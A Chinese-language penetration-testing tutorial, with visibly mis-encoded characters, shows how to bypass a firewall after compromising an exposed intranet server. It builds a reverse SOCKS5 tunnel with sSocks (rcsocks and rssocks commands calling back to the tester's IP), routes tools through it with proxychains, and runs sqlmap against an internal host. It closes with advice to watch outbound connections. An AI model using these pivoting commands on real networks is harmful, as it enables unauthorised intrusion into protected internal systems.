Socks代理反彈突破內(nèi)網(wǎng)
隨著信息安全意識(shí)的提升,越來越多的信息系統(tǒng)前端均部署有防火墻,系統(tǒng)管理員根據(jù)業(yè)務(wù)需求將內(nèi)部必要的服務(wù)端口通過端口映射等手段映射到公網(wǎng)中,如默認(rèn)web服務(wù)端口80、MSSQL數(shù)據(jù)庫服務(wù)端口1433等。通過部署防火墻可以將信息系統(tǒng)內(nèi)部區(qū)域與公網(wǎng)邏輯隔離開來,利用相關(guān)的策略有效避免或減輕來自外部的攻擊。對(duì)于滲透測試者來說,如何繞過防火墻的阻擋在內(nèi)網(wǎng)展開滲透測試成為亟需解決的問題,本文介紹了在奪取映射到外網(wǎng)的內(nèi)網(wǎng)服務(wù)器權(quán)限后,如何利用socks代理反彈獲得內(nèi)網(wǎng)訪問權(quán)限。
1. sSocks
sSocks是一個(gè)socks代理工具套裝,可用來開啟socks代理服務(wù),支持socks5驗(yàn)證,支持IPV6和UDP,并提供反向socks代理服務(wù),即將遠(yuǎn)程計(jì)算機(jī)作為socks代理服務(wù)端,反彈回本地,極大方便內(nèi)網(wǎng)的滲透測試,其最新版為0.0.13,可在以下鏈接處下載。http://sourceforge.net/projects/ssocks/下載解壓后,執(zhí)行命令編譯。./configure && make
編譯完成,進(jìn)入src目錄,會(huì)發(fā)現(xiàn)有nsocks、ssocksd、ssocks、rcsocks,其功能說明介紹如下:
程序 功能
nsocks 類似通過Socks5代理后的netcat,可用來測試socks server
ssocksd 用來開啟Socks5代理服務(wù)
ssocks 本地啟用Socks5服務(wù),并反彈到另一IP地址
rcsocks 接收反彈過來的Socks5服務(wù),并轉(zhuǎn)向另一端口
2.模擬網(wǎng)絡(luò)環(huán)境說明 本文模擬的網(wǎng)絡(luò)環(huán)境見下圖1,滲透測試端IP為192.168.10.50,內(nèi)網(wǎng)區(qū)域IP段192.168.206.0/24,內(nèi)網(wǎng)區(qū)域能正常訪問192.168.10.0/24,現(xiàn)假設(shè)已獲得192.168.206.130權(quán)限。
3.實(shí)施Socks代理反彈
1)本地監(jiān)聽端口
在滲透測試端192.168.10.50執(zhí)行./rcsocks -l 1088 -p 1080 -vv
等待遠(yuǎn)程Socks5服務(wù)器訪問本地1080端口,創(chuàng)建端口1080與本地端口1088的連接通道,如圖2。
2)開啟Socks5代理服務(wù),反彈
在192.168.206.130上執(zhí)行./rssocks -vv -s 192.168.10.50:1080
啟用Socks5服務(wù),反彈到192.168.10.50的端口1080上,如圖3。
此時(shí)在滲透測試端192.168.10.50可看到通道連接成功,效果如圖4。
4.利用proxychains進(jìn)行Socks5代理
通過前面的步驟,Socks5代理已創(chuàng)建完成了。由于在滲透測試過程中,需要使用不同的工具程序,而在各程序中分別配置Socks5代理信息較為繁瑣,而部分程序并不支持配置Socks5代理。為了簡化這些操作,我們可以采用proxychains。
proxychains是一個(gè)代理客戶端軟件,可以支持幾乎所有程序的代理,如ssh,telnet,ftp等。利用proxychains,程序能在代理的環(huán)境下被加載運(yùn)行,而本身不需要具備代理功能。使用前需要對(duì)proxychains進(jìn)行簡單配置,打開配置文件proxychains.conf(在BT5位于/etc/proxychains.conf),如圖5所示,在[ProxyList]處添加
socks5 127.0.0.1 1088
配置成功后若要啟動(dòng)程序,僅需要在啟動(dòng)程序命令前加上proxychains。
1)啟用瀏覽器firefox,在終端執(zhí)行命令:proxychains firefox
firefox啟動(dòng)成功,訪問192.168.206.135的web服務(wù)如圖6,通過代理訪問成功。
2)利用sqlmap進(jìn)行注入:
先切換到sqlmap目錄
cd /pentest/database/sqlmap
proxychains python sqlmap.py -u “存在SQL注入的鏈接” –dbs
注入成功,注入點(diǎn)信息及獲取數(shù)據(jù)庫信息如圖7所示。
5.后記
由于系統(tǒng)管理員的疏忽或者業(yè)務(wù)需求所致,防火墻一般僅對(duì)由外向內(nèi)發(fā)起的數(shù)據(jù)連接進(jìn)行嚴(yán)格判斷、過濾、甚至阻斷而忽略由內(nèi)往外的連接。因此,在此種情況下,通過攻陷映射到公網(wǎng)的端口服務(wù),利用反彈便可獲取內(nèi)網(wǎng)訪問權(quán)限,給內(nèi)網(wǎng)安全帶來極大的威脅。在信息安全建設(shè)與運(yùn)維過程中,不僅要加強(qiáng)映射到公網(wǎng)的服務(wù)安全,也要重視由內(nèi)到外連接的安全威脅。